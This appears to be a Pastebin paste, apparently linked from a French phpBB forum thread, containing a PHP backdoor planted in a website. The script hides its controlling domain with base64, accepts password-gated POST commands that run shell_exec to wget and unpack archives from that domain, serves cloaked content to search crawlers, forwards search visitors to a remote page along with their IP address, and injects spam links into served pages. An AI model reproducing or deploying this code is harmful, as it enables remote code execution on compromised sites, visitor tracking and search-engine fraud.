Zoddo

phpBB-fr.com - Sujet 207830

May 4th, 2016
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.27 KB | None | 0 0
  1. <?php set_time_limit(0);
  2. function get_page_by_curl($url, $useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36") {
  3.     $ch = curl_init();
  4.     curl_setopt($ch, CURLOPT_URL, $url);
  5.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  6.     curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  7.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  8.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  9.     curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  10.     $result = curl_exec($ch);
  11.     curl_close($ch);
  12.     return $result;
  13. }
  14. $doorcontent = "";
  15. $x = @$_POST["pppp_check"];
  16. $md5pass = "e5e4570182820af0a183ce1520afe43b";
  17. $host = @$_SERVER["HTTP_HOST"];
  18. $uri = @$_SERVER["REQUEST_URI"];
  19. $host = str_replace("www.", "", $host);
  20. $md5host = md5($host);
  21. $urx = $host . $uri;
  22. $md5urx = md5($urx);
  23. if (function_exists('sys_get_temp_dir')) {
  24.     $tmppath = sys_get_temp_dir();
  25.     if (!is_dir($tmppath)) {
  26.         $tmppath = (dirname(__FILE__));
  27.     }
  28. } else {
  29.     $tmppath = (dirname(__FILE__));
  30. }
  31. $cdir = $tmppath . "/." . $md5host . "/";
  32. $domain = base64_decode("Zi5nZ2hpamFja3Rlc3QuY29t");
  33. if ($x != "") {
  34.     $p = md5(base64_decode(@$_POST["p"]));
  35.     if ($p != $md5pass) return;
  36.     $pa = @$_POST["pa"];
  37.     if (($x == "2") || ($x == "4")) {
  38.         echo "###UPDATING_FILES###
  39. ";
  40.         if ($x == "2") {
  41.             $cmd = "cd $tmppath; rm -rf .$md5host";
  42.             echo shell_exec($cmd);
  43.         }
  44.         $cmd = "cd $tmppath; wget http://update.$domain/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
  45.         if ($pa != "") {
  46.             $pa+= 0;
  47.             $cmd = "cd $tmppath; wget http://update.$domain/arc/" . $md5host . "_" . $pa . ".tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
  48.         }
  49.         echo shell_exec($cmd);
  50.         exit;
  51.     }
  52.     if ($x == "3") {
  53.         echo "###WORKED###
  54. ";
  55.         exit;
  56.     }
  57. } else {
  58.     $curx = $cdir . $md5urx;
  59.     if (@file_exists($curx)) {
  60.         @list($IDpack, $mk, $doorcontent, $pdf, $contenttype) = @explode("|||", @file_get_contents($curx));
  61.         $doorcontent = base64_decode($doorcontent);
  62.         $bot = 0;
  63.         $se = 0;
  64.         $mobile = 0;
  65.         if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT"])) $bot = 1;
  66.         if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT"])) $mobile = 1;
  67.         if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER"])) $se = 1;
  68.         if ($bot) {
  69.             $pdf+= 0;
  70.             if ($pdf == 1) {
  71.                 header("Content-Type: application/pdf");
  72.             }
  73.             if ($pdf == 2) {
  74.                 header("Content-Type: image/png");
  75.             }
  76.             if ($pdf == 3) {
  77.                 header("Content-Type: text/xml");
  78.             }
  79.             if ($pdf == 4) {
  80.                 $contenttype = base64_decode($contenttype);
  81.                 $types = explode("
  82. ", $contenttype);
  83.                 foreach ($types as $val) {
  84.                     $val = trim($val);
  85.                     if ($val != "") header($val);
  86.                 }
  87.             }
  88.             echo $doorcontent;
  89.             exit;
  90.         }
  91.         if ($se) {
  92.             echo get_page_by_curl("http://$domain/lp.php?ip=" . $IDpack . "&mk=" . rawurlencode($mk) . "&d=" . $md5host . "&u=" . $md5urx . "&addr=" . $_SERVER["REMOTE_ADDR"], @$_SERVER["HTTP_USER_AGENT"]);
  93.             exit;
  94.         }
  95.         header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
  96.         echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "
  97. ";
  98.         echo '<html><head>' . "
  99. ";
  100.         echo '<title>404 Not Found</title>' . "
  101. ";
  102.         echo '</head><body>' . "
  103. ";
  104.         echo '<h1>Not Found</h1>' . "
  105. ";
  106.         echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "
  107. ";
  108.         echo '<hr>' . "
  109. ";
  110.         echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "
  111. ";
  112.         echo '</body></html>';
  113.         exit;
  114.     } else {
  115.         $crurl = "http://" . @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
  116.         $buf = get_page_by_curl($crurl);
  117.         $curx = $cdir . "fff.sess";
  118.         if (@file_exists($curx)) {
  119.             $links = @file($curx, FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES);
  120.             $c = @count($links) - 1;
  121.             shuffle($links);
  122.             if ($c > 20) $c = 20;
  123.             $regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)[^>]*>(.*)<\/a>";
  124.             if (preg_match_all("/$regexp/siU", $buf, $matches)) {
  125.                 $zval = $matches[0];
  126.                 shuffle($zval);
  127.                 foreach ($zval as $val) {
  128.                     if ($c < 0) break;
  129.                     list($l, $anchor) = explode("|||", trim($links[$c]));
  130.                     $new = '<a href="' . $l . '">' . $anchor . '</a>';
  131.                     $buf = str_ireplace($val, $new, $buf);
  132.                     $c--;
  133.                 }
  134.             }
  135.         }
  136.         echo $buf;
  137.     }
  138. }
Add Comment
Please, Sign In to add comment